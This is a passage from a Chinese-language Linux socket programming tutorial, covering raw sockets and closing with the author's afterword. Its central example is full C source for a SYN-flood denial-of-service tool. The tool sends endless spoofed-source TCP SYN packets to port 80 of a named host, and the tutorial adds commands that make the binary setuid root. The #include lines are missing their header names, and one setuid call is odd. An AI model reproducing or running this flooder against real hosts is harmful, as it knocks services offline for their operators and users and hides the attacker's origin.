10. 原始套接字
我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 下面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什意思嗎?在這裡我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裡面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據,回自動的調用相應的模塊給數據加上TCP頭部,然加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那IP數據一樣也可以由系統來創建的.
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11. 記
總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以,我好象對網絡的認識又增加了一步.
如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有著遙遠的路要走. 網絡程序一般的來說都是多進程加上多線程的.為了處理好他們內部的關系,我們還要學習 進程之間的通信.在網絡程序裡面有著許許多多的突發事件,為此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,為了處理好這些信息,我們還要去學習數據庫. 如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多.
看一看外國的軟件水平,看一看印度的軟件水平,寶島台灣的水平,再看一看我們自己的 軟件水平大家就會知道了什叫做差距.我們現在用的軟件有幾個是我們中國人自己編寫的.
不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!
相信一點:
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國的軟件產業,為了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!
hoyt
11.1 參考資料
<<實用UNIX編程>>---機械工業出版社.
<>--清華大學出版社.
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(http://www.fanqiang.com)
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